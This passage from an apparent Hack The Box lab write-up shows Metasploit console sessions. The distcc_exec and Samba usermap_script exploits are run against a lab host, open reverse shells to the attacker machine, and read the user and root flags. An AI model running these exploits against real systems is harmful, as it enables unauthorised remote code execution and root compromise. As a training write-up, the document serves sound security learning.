As evident from the list of files, we have our user flag 69454***
Using DistCC service
A simple searchsploit search for DistCC got me a metasploit RCE exploit entry DistCC Daemon - Command Execution (Metasploit)
msf5>useexploit/unix/misc/distcc_execmsf5exploit(unix/misc/distcc_exec) >setRHOST10.10.10.3RHOST =>10.10.10.3msf5exploit(unix/misc/distcc_exec) >exploit[*] Started reverse TCP double handler on 10.10.14.13:4444 [*] Accepted the first client connection...[*] Accepted the second client connection...[*] Command: echo pbbLnvIuNegIZaqi;[*] WritingtosocketA[*] Writing to socket B[*] Reading from sockets...[*] Reading from socket A[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n"[*] Matching...[*] B is input...[*] Command shell session 1 opened (10.10.14.13:4444 ->10.10.10.3:55417) at 2019-07-03 10:12:30 +0530iduid=1(daemon) gid=1(daemon) groups=1(daemon)cat/home/makis/user.txt69454***
Using this method also we can get the user flag from the system, however this is not privileged and can not be leveraged to get root, however, this is a good and stable shell for further enumeration.
Root Own
Owning root is a simple process in this box. Run an existing exploit Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) on the old samba service to get the root shell.
msf5>useexploit/multi/samba/usermap_scriptmsf5exploit(multi/samba/usermap_script) >setRHOST10.10.10.3RHOST =>10.10.10.3msf5exploit(multi/samba/usermap_script) >exploit[*] Started reverse TCP double handler on 10.10.14.13:4444 [*] Accepted the first client connection...[*] Accepted the second client connection...[*] Command: echo NohFWWf4R8eYZZsR;[*] WritingtosocketA[*] Writing to socket B[*] Reading from sockets...[*] Reading from socket B[*] B: "NohFWWf4R8eYZZsR\r\n"[*] Matching...[*] A is input...[*] Command shell session 1 opened (10.10.14.13:4444 ->10.10.10.3:41230) at 2019-07-03 10:16:23 +0530iduid=0(root) gid=0(root)cat/root/root.txt92caa***
Takeaway
My personal takeaway from this box was to enumerate all the running services and the their versions first before running into the manual enumeration. While solving this box I completely forgot about running samba service and wasted quite a while enumerating to privilege escalate my way to root using the daemon shell.